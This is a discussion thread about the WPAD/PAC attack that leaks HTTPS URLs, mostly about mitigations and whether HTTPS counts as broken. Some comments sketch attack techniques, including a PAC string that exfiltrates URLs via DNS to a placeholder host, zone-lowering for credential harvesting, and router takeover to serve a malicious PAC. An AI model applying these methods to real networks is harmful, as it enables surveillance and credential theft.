By that I'm guessing you mean local networks ala coffeeshop/public wifi. What about networks that NSA/[insert three letter agency here] controls? Can PAC be affected by those?
Wait, what... malicious dhcp can "force" browsers to execute essentially arbitrary code for every request? And this is by design? Is there some flag to nuke that feature from eg Firefox?
Yes, WPAD (web proxy auto discover) is for locating a piece of javascript code specified by Proxy auto-config [1], which consists of a single javascript function that is given the url & the host, and returns a proxy to use.
Edit: note that in addition to SOCKS proxies, this also allows one to provide HTTP proxies. I'm not familiar with the interaction of https traffic with HTTP proxies, but I'd hope browsers avoid using them? Anyone familiar with this care to comment? (specs are sparse in this area)
> Yes, WPAD (web proxy auto discover) is for locating a piece of javascript code specified by Proxy auto-config [1], which consists of a single javascript function that is given the url & the host, and returns a proxy to use.
So DHCP can cause my browser to execute code. That is … completely and totally insane. I'm not saying you're wrong, but rather that you're right about about a world gone mad.
I don't mind startup MVP stuff, I mind when it goes on to becomes a "standard" with little to no modification. WPAD/PAC is one. See also the "api" for document.cookie, which entirely consists of assigning strings to document.cookie.
Yes, it does. The DHCP option will tell your _OS_ about the PAC file, but the browser won't ask the OS for that information unless the "Use system proxy settings" option (which is the default) is selected. The choices in this dialog map to the preference values I describe in https://news.ycombinator.com/item?id=12175050 as follows:
"No Proxy": 0
"Auto-detect proxy settings for this network": 4
"Use system proxy settings": 5
"Manual proxy configuration": 1
"Automatic proxy configuration URL": 2
If I set Firefox to use system proxy, I suppose it won't be affected by WPAD unless the OS does?
Does anyone know if it's possible to force unpatched libproxy on Linux to not use WPAD? Also, does network-manager use libproxy if I don't have libproxy1-plugin-networkmanager installed?
It's not arbitrary code, it is a DHCP option to push a proxy setting. It is DHCP option 252, and isn't really any different than any other DHCP option, like router or default domain.
Setting network settings is exactly what DHCP was for.
Well, in this case the DHCP option provides a url for a javascript file with a function to be called for each url accessed. I presume there could be some sandboxing of that function, depending on how it is typically used.
Edit: even with sandboxing, I imagine they could encode the url into a hostname for a proxy and then use the DNS requests for the proxy to exfiltrate the url. Proxy auto-config allows specifying "PROXY my_encoded_url.other_data.example.com:8080; DIRECT" so that it would attempt the DNS lookup, and on it's failure fallback to using a direct connection so there wouldn't be much change visible to the user (just a slight extra delay due to dns lookup).
codys is correct: The DHCP option provides a URL for a javascript file with a function to be called for each URL. The function then returns how to actually go about connecting to that URL (direct or proxied connection) and what hostname to actually use, etc.
This is separate from the proxy that then gets used for the actual connection if the PAC file says to use a proxy. That proxy can't inject things into pages loaded over https unless it's using an MITM cert signed with a trust root that your browser trusts.
The problem under discussion is that the function in the PAC file gets to see the URL being visited.
1: proxy manually configured in Firefox preferences, no PAC file.
2: Use the PAC file found at the URL given by the value of the "network.proxy.autoconfig_url" preference.
4: Use WPAD to get the PAC file.
5: Do whatever the OS says to do in terms of proxy settings (including what PAC file to use, if any).
The default value is 5. I believe setting the preference to 0 will ensure that you always use a direct, not proxied, connection to the target site, and in particular that no PAC file is used.
Edit: Ah, just noticed that kuschku points to UI for all this stuff below too.
This is a well known attack and has been for a while. There are established domain suffixes which block registration for 'wpad' (as well as a few other domains) for exactly this reason. Which is only a partial mitigation in a world where MITM is a potential attack vector.
I have domains which receive a steady stream of 'wpad.$domain' queries from machines which have nothing to do with me. I don't know who owns the machines. I also don't think anyone would notice if I decided to actually provide them with the proxy service they keep requesting from my infrastructure.
I'm unaware of any precedent... I could certainly see people getting upset, but I don't think they'd have solid grounds.
The interesting thing is that I actually am considering setting up a WPAD entry on a domain where I am seeing that traffic, for my own purposes (i.e. unrelated to the random queries I am getting).
In fact, I have just as much an argument that they would be the ones with possible CFAA liability if they start using my proxy server in a way I don't intend.
On OS X, it is set in the system network preference pane. Click a connection, then Advanced..., then Proxies, and there's a service listed called "Automatic Proxy Discovery" that you can enable if you want it (it is disabled by default.)
We can all imagine a case where actual running configuration differs from the intent expressed in those settings.
I think the OP is looking for a definitive statement or disabling mechanism whereby the DHCP client (and subsequently all web browser behaviour) in OSX definitely never honours DHCP option 252, which seems to be the relevant part of the attack described in the article.
There are a number of API calls that leak DNS queries, such as isInNet. If you have optimized a PAC for performance, you absolutely would avoid this from happening, but if you're evil and you want to leak dns queries... then whatever. I would add a filter to include only the required transactions (i.e., url contains samltoken or something).
On the flip side the article isn't correct about IE truncating hosts, what it does is cache the PAC results on a per-host basis, so only the first URL a client accesses to a host will get processed.
The other main threat of the WPAD is that it affects Zones. In a corporate environment, things that go through the proxy server are assumed to be on the internet and in the Internet zone. Things that go direct are assumed to be Intranet Zone, which has reduced security posture. An evil WPAD that just returns "DIRECT" all the time will lower IE's posture for all sites to Intranet Zone, enabling IWA (making credential harvesting possible), reducing warnings on active content, etc.
"We show that HTTPS cannot provide security when WPAD is enabled."
That's effectively a lie. The HTTPS connection itself is definitely still secure. The only difference is the browser is telling an attacker what URL it wants to go to. You can also watch what virtual hosts someone is visiting by sniffing DNS requests, statistical packet analysis can show exactly what you're looking at, and there are plenty of attacks on browsers and the client OS to get more data that don't require wpad.
If you want to browse securely, you have to tunnel everything. You should not assume a browser will ever be able to hide all possible traceable data about your connection & request.
Also plain as day in the DNS lookup - but a MITM-attacker knowing the host you're connecting to isn't the problem here; it's that the attacker knows which particular URLs you have requested.
The full URL contains much more than just the host.
Open fiddler, log in to a Google account, see how much sensitive data is sent inside URL params.
All of this data is disclosed in this attack.
Given that almost every web dev's assumption is that TLS encrypts URL parameters, yes it does. Do search parameters in GET requests going across the wire in cleartext not count as possibly sensitive information to you or something?
A secure connection has an actual definition, and it is not "whatever a random web dev thinks happens when they use the internet".
URLs are resource locators. Any sensitive data needs to be in a POST. It's been in the RFC since day one.
Finally, the actual HTTPS connection and the HTTP transaction that occurs is fully secure and is in no way affected by this 'attack' [read: documented feature]. This is an info leak which does not affect the HTTPS protocol directly; it affects services and applications that use wpad.
I will amend my statement to say it is possible to expose query parameters that would otherwise have been secure, but this is still not a compromise of the security of the connection. It's an exploit/attack severity distinction. The net effect of this exploit (that's what it is, not an attack per se) is to provide a side channel to some other attack; but the integrity of the HTTPS connection remains intact.
TLS is __supposed to make URLS confidential__. I don't understand why you don't see this is a problem.
> "whatever a random web dev thinks happens when they use the internet".
I guess 'random web dev' means every single web app dev on the internet - dropbox puts sensitive info in the URLs, google does it, facebook does it, yahoo does it. I guess those engineers are just amateurs though.
> URLs are resource locators. Any sensitive data needs to be in a POST. It's been in the RFC since day one.
RFC 5246 makes no distinction between POST and GETs for it's security assurances - as part of the HTTP request, it should be confidential.
>This is an info leak which does not affect the HTTPS protocol directly; it affects services and applications that use wpad.
You mean HTTP, the one thing HTTPS is used with?
> The net effect of this exploit (that's what it is, not an attack per se)
There's no fucking difference.
> TLS is __supposed to make URLS confidential__. I don't understand why you don't
see this is a problem.
No it is not. TLS is supposed to provide a secure connection for applications. HTTPS is supposed to make URLs confidential. These are different RFCs.
This exploit does not affect TLS. Okay? It. Does. Not. Affect. TLS. This affects _your web browser_.
- When a Flash vulnerability exposes user data, do you say HTTPS is compromised? Of course not.
- When you send someone an e-mail virus that they download with their e-mail program, do you say IMAP is compromised? Of course not.
- If your browser sends all its URLs to some unauthenticated unauthorized random server on the internet because it was being 'overly friendly', is HTTPS compromised? Of course not!
Your browser is compromised! HTTPS is working fine! And HTTPS isn't even involved!!! All of the juicy parts of this exploit happens over plain HTTP!
Your web browser and plugins and e-mail client may be fucked up, but the protocols they work with are working fine. Even wpad is, ironically, working exactly as it's supposed to.
> RFC 5246 makes no distinction between POST and GETs for it's security assurances
- as part of the HTTP request, it should be confidential.
....Why are you bringing up TLS at all?
> You mean HTTP, the one thing HTTPS is used with?
Yes. This exploit does not affect HTTP or HTTPS. It affects wpad-enabled services and applications.
There are lots, and lots, and LOTS of HTTP and HTTPS connections out there that do not support wpad. None of them are affected. The HTTP protocol, and the HTTPS protocol, and TLS (why you keep bringing up TLS is beyond me) are not affected directly by this exploit. The services and applications are.
> > The net effect of this exploit (that's what it is, not an attack per se)
> There's no fucking difference.
Go get a dictionary, buddy, and look up vulnerability, exploit, and attack. Now pick one word and replace all cases of all those words with just the one word. We use specific words for things for a reason.
I'm confused. Is this a real problem under default OS X settings? Is the OS X GUI misleading me?
In my settings in Network -> Advanced -> Proxies, all the little boxes are unchecked. There is an "Automatic Proxy Configuration" line but only when I check it do I see a method to enter the URL to a .pac file.
So, as a naive user, when I see everything unchecked I assume that everything is disabled. But perhaps the checkbox only provides a method to supply information that a DHCP server omits?
So if the DHCP server does return an URL to a .pac file, will OS X will accept it regardless of the check box?
The "Automatic Proxy Configuration" setting allows you to manually set the URL of the PAC file for automatic configuration. Maybe setting a custom PAC file can override the one sent by the DHCP server. Anyway, unchecking that one will not protect you.
However, in the same list, you should see a checkbox labeled "Auto Proxy Discovery". This is the one you want to uncheck so that OS X does not accept the URL sent by the DHCP server.
you should see a checkbox labeled "Auto Proxy Discovery"
In my experience, that box is unchecked by default for a clean installation of El Capitan. So I don't think that OS X is vulnerable (unless that box is explicitly changed by an end user).
This is why I don't trust public wifi, anywhere. I use my phone as a hot spot everywhere I go unless there's no other option. And I still don't trust my phone that much either so I don't do any online banking unless I VPN back to my house first.
Even ISPs will do all sorts of obnoxious things like this, although some public wifi is horrible. I got a $15/year ramnode VPS about a year and a half ago and removed all services except ssh on port 80 with chacha/poly1305 and public key encryption. I mostly use SOCKS with sshuttle to catch anything not configured for SOCKS (sshuttle in theory is a better method, but in practice it leaks DNS requests somehow). Quite simple and I highly recommend it. Traffic accounting seems to undercount substantially with this usage so I didn't get anywhere near my limit (I don't have the highest bandwidth usage, but not the smallest either). One public wifi I would like to use more often somehow manages to break this setup (and half the internet even without a VPN so no idea what they are doing), but I haven't had trouble anywhere else. I started doing this after getting SSL downgrade errors using public wifi.
Yes, even with the --dns option, although only with the default method. tproxy mode might (most likely would?) fix it. I tried it once and it didn't work at all, but I have since learned that I did it wrong since you need to explicitly exclude the address you are connecting to.
I didn't report it since I didn't gather enough information to make a particularly useful report. It is at least known that FreeBSD has an issue with DNS forwarding (that might be the same?), although I am on arch. I hope to look into it more at some point.
If you request a password reset, sites typically send you an email containing a link with a secret in the URL. If the network is able to see your browser requesting that URL, it should be able to interrupt your connection and go change the password itself.
A good point, (although step 1 still saves you) the universal Achilles Heel strikes again!
I wish more sites would use a second factor for resets. This would prevent so many of these types of problems. Also, Windows knows that it's an untrusted network. Maybe warn about proxies if you have it (WPAD) turned on for Big Corp reasons?
the chance that a mobile network provider will use DHCP for phone connections over Edge, 3G, LTE, etc... is extremly high.
And I would guess Android and iPhone will actually honor WPAD
I am dubious that any of my Debian machines would fall for this.
BUT... I was unaware of this DHCP attack surface for WPAD. Does anybody know if Debian has some scripts for receiving a URL via that mechanism and then visiting it? I guess this would be achieved by libproxy or something?
I'm also going to be talking a bit about WPAD in my Blackhat talk this year.
To over simplify: attacker stays at AirBnb/rental, attacker pwns local router and adds their dns server, attacker listens for wpad request and respond with malicious PAC to gain MitM. Oh, the dangers of AirBnB/rental networks.
From the briefing:
We will demonstrate that, by forcing your browser/system to use
a malicious PAC (Proxy AutoConfiguration) resource, it is
possible to leak HTTPS URLs.
Would be interesting to see the exploit in action. However, malicious PAC redirection has existed for a while [0].
What isn't quite clear is whether this would work even with HSTS sites.
The takeaway seems to be that never trust any unknown network.
[0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou....
What isn't quite clear is whether this would work even with HSTS sites.
The takeaway seems to be that never trust any unknown network.
[0] https://blogs.technet.microsoft.com/mmpc/2014/02/28/maliciou...